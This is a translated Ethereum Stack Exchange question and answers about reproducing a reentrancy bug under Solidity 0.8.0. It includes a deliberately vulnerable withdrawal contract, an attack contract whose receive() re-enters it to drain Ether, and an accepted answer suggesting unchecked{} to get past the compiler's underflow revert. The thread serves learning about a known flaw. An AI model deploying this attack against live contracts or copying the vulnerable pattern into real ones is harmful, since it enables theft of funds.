首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >不能复制重入错误

不能复制重入错误
EN

Ethereum用户
提问于 2022-01-20 02:35:53
回答 2查看 406关注 0票数 2

我试图用solc 0.8.0复制重入bug:

我有两份合同,

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Reentrancy {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool success, ) = (msg.sender.call{value: _weiToWithdraw}(""));
        require(success);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
}

另一个攻击脆弱的契约

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrancy.sol";

contract AttackReentrancy {
    Reentrancy public reentrancy;

    constructor(address _reentrancyAddress) {
        reentrancy = Reentrancy(_reentrancyAddress);
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        reentrancy.depositFunds{value: 1 ether}();
        reentrancy.withdrawFunds(1 ether);
    }

    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        if (address(reentrancy).balance > 1 ether) {
            reentrancy.withdrawFunds(1 ether);
        }
    }
}

但是当我用松露调用它时,它只会在reentrancy.withdrawFunds(1 ether);上抛出异常,然后得到Error: Returned error: VM Exception while processing transaction: revert

那么,sol编译器中是否启用了内置保护?

EN

回答 2

Ethereum用户

回答已采纳

发布于 2022-01-20 06:14:59

您的重入失败的原因是这一行:balances[msg.sender] -= _weiToWithdraw;

在0.8.0之后,编译器会自动检查下流和过流错误,并在发生这种情况时抛出。由于余额是地址到uint的映射,在0以下没有值,并且在尝试提取比余额更多的余额后,合同将尝试减少0项下的余额,从而导致下流量并抛出错误,并恢复所有更改。

您可以使用unchecked{balances[msg.sender] -= _weiToWithdraw;}查看是否修复了它。

票数 2
EN

Ethereum用户

发布于 2022-01-20 05:36:00

没有针对可重入性的编译器保护,因为可重入是一个运行时错误。

我建议向您的需求中添加还原消息,以帮助确定到底是什么失败了。您甚至可以使用hardhat的console.log库来进行printf调试。

票数 0
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/119398

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档